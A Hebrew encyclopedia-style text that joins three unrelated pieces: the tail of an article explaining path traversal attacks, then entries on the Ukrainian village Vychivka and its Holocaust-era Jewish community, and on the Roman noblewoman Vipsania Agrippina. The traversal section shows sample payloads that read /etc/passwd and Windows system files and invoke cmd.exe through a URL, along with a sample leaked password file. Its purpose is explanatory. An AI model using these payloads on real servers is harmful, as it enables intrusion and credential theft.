Cookie: TEMPLATE=../../../../../../../../../etc/passwd

```

לחולל שינוי בתגובת השרת:

```
HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache

root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh 
daemon:*:1:1::/tmp: 
phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh

```

**הפגיעות בכתובת ה-URL:**

בדוגמה שלהלן, מתרחשת טעינה של קובץ בשם page.html. במידה והמערכת אינה בודקת את הערך יוכל התוקף לשנות את הערך לביטוי אחר כרצונו.

```
http://www.example.com/index.foo?item=page.html

```

בהתאם לסוג מערכת ההפעלה ובעזרת ניסוי וטעייה, יחזור התוקף אל סיפריות האב ויחפש את הקבצים הנדרשים. 

```
http://www.example.com/index.foo?item=../../../Config.sys

```

במידה וגם השרת עצמו פגיע, ניתן לקרוא ליישומים הרצים עליו:

```
http://www.example.com/index.foo?item=../../../Windows/System32/cmd.exe?/C+dir+C:\

```

ראו גם
------

* CSRF
* XSS
* File Inclusion

קישורים חיצוניים
----------------

* מידע על המתקפה באתר Acunetix **(באנגלית)**

* מידע על המתקפה באתר OWASP **(באנגלית)**

* מידע על המתקפה באתר WhiteHat **(באנגלית)**
**וִיצִ'יבְקָה** (באוקראינית: **Вичівка**) הוא כפר זעיר במחוז רובנו שבאוקראינה, בו התקיימה עד השואה קהילה יהודית. הכפר ויצ'יבקה סמוך לעיירה האוקראינית סרניק.

הכפר שוכן בין שדות חקלאיים וחורשות, בסמוך לגבול עם בלארוס. כמו כפרים רבים אחרים במזרח אירופה, ויצ'יבקה מתאפיין בגגות רעפים ובבנייה בעלת שימוש דומיננטי של עץ, וכזו שבה המבנים מרוחקים מטרים רבים אחד ממשנהו.

תולדות הכפר
-----------

הכפר מוזכר לראשונה בשנת 1553 בספר "סקירת היערות". בעת ההיא שימש הכפר כמגורי איכרים שעיבדו את אדמותיהם של בעלי אחוזות אמידים שהתגוררו בפינסק ובברסט.

השלטון על הכפר
--------------

השלטון שעל הכפר ויצ'יבקה, ועל חבל הארץ בו נמצא, התחלף פעמים רבות בכל תקופת קיומו של הכפר. הוא סופח לפולין בשנת 1569 כחלק מאיחוד לובלין. בשנת 1795 סופח לרוסיה כחלק מחלוקת פולין.

לאחר מכן, סופח שוב לפולין בשנת 1918 כחלק מהקמת הרפובליקה הפולנית השנייה. בשנת 1939 סופח לרוסיה פעם נוספת כחלק מהסכם ריבנטרופ מולוטוב. במהלך מלחמת העולם השנייה נכבש על ידי גרמניה הנאצית (1941), שוחרר על ידי רוסיה, וסופח אליה שוב (1944). בשנת 1991 סופח לאוקראינה בעקבות נפילת ברית המועצות.

הקהילה היהודית
--------------

בעיירה סרניק השכנה התקיימה לאורך דורות קהילה יהודית גדולה. עם פרוץ מלחמת העולם השנייה התגוררו בסרניק כ-1,100 יהודים. לעומת זאת, בכפר ויצ'יבקה התגוררו בעת ההיא משפחות יהודיות אחדות. למרות הריחוק מהקהילה היהודית, המשפחות הללו שימרו אורח חיים יהודי אדוק. עיקר פרנסתן היו מטעי פירות, שבפירותיהם סחרו בסרניק. אמצעי התחבורה העיקרי שהיה ברשותן היה חמור או סוס הרתומים לעגלה. בית הכנסת של יהודי ויצ'יבקה בתקופה של טרום מלחמת העולם השנייה היה בבית משפחת רובינשטיין וכלל שני ספרי תורה. השפה הדבורה בכפר הייתה רוסית, אך המשפחות היהודיות תקשרו ביניהן גם ביידיש.

בתקופת הכיבוש הגרמני על הכפר במלחמת העולם השנייה, הייתה על יהודי האזור חובת ענידת טלאי צהוב. בתחילת שנת 1942 נשלחו כל המשפחות היהודיות של ויצ'יבקה לגטו שבעיירה סרניק. ב-8 בספטמבר 1942 התארגנה בריחה המונית מהגטו. כ-500 יהודים נמלטו מהגטו בשעת לילה, מתוכם כ-200 נורו למוות בשעת הבריחה. הניצולים ברחו מזרחה ליערות, שם חברו לקבוצות פרטיזנים. כל 550 היהודים שנותרו בגטו מצאו למחרת את מותם בבורות המוות.

כיום לא קיימת קהילה יהודית בויצ'יבקה, והיא נכחדה בכללותה.

ראו גם
------

* סרניק

קישורים חיצוניים
----------------

ויקישיתוף מדיה וקבצים בנושא **ויצ'יבקה** בוויקישיתוף

הערות שוליים
------------

1. ↑  "Огляді пущ"
פסל של ויפסניה אגריפינה
**ויפסניה אגריפינה** (**Vipsania Agrippina**; ‏36 לפנה"ס - 20 לספירה), הייתה אצילה מן השושלת היוליו-קלאודית.

ביוגרפיה
--------

ויפסניה נולדה בשנת 36 לפנה"ס, אביה מרקוס ויפסניוס אגריפה היה מצביאו הראשי של אוקטביוס ואמה הייתה קייקיליה אטיקה בתו של טיטוס פומפוניוס אטיקוס שהיה חברו הקרוב של קיקרו וחבר בולט במעמד הפרשים. 

בערך כשמלאו לה שנה אורסה ויפסניה על ידי אביה ואוקטביוס לטיבריוס, שהיה בנו החורג של הקיסר, הזוג התחתן בשנת 20 לפנה"ס ובנם דרוסוס יוליוס קיסר נולד בשנת 13 לפנה"ס. למרות שהיה מדובר בנישואים פוליטיים שנועדו לחזק את הקשר בין אוגוסטוס לאגריפה, אהב טיבריוס את ויפסניה אהבה עמוקה.

כשנפטר אגריפה בשנת 12 לפנה"ס הכריח אוגוסטוס את טיבריוס להתגרש מוויפסניה ולשאת את יוליה, אלמנתו של אגריפה. ויפסניה, שהייתה באותה שעה בהריון, הפילה את עוברה, לפי סווטוניוס מההלם על החדשות האלה. צערו של טיבריוס היה כל כך גדול שפעם אחת כשפגש את ויפסניה הוא עקב אחריה לביתה בעודו ממרר בבכי מצער על גירושיהם.

ויפסניה נישאה מחדש לסנאטור גאיוס אסיניוס גאלוס בשנת 11 לפנה"ס, לזוג נולדו שישה ילדים ששנים מהם שימשו כקונסולים בבגרותם, ייתכן גם שבנה דרוסוס, בניגוד למנהג הרומאי, חי עם אימו לאחר גירושיה מטיבריוס.

כשבעלה מונה למושל אסיה בשנת 6 לפנה"ס ויפסניה ככל הנראה הלכה אחריו והתגוררה בפרובינקיה. ויפסניה נפטרה בשנת 20 לספירה, אחרי שבנה דרוסוס הפך ליורשו של טיבריוס. דרוסוס טבע מטבעות והקים פסלים לכבודה.

קישורים חיצוניים
----------------

ויקישיתוף מדיה וקבצים בנושא **ויפסניה אגריפינה** בוויקישיתוף
* ויפסניה בארה פקיס? וויפסניה על מטבעות?, על הייצוג של ויפסניה באמנות (באנגלית)

|  |  |
| --- | --- |
| בקרת זהויות עריכת הנתון בוויקינתונים | 
* GND: 142540501
* VIAF: 154378528
* WorldCat (עם VIAF): 154378528

 |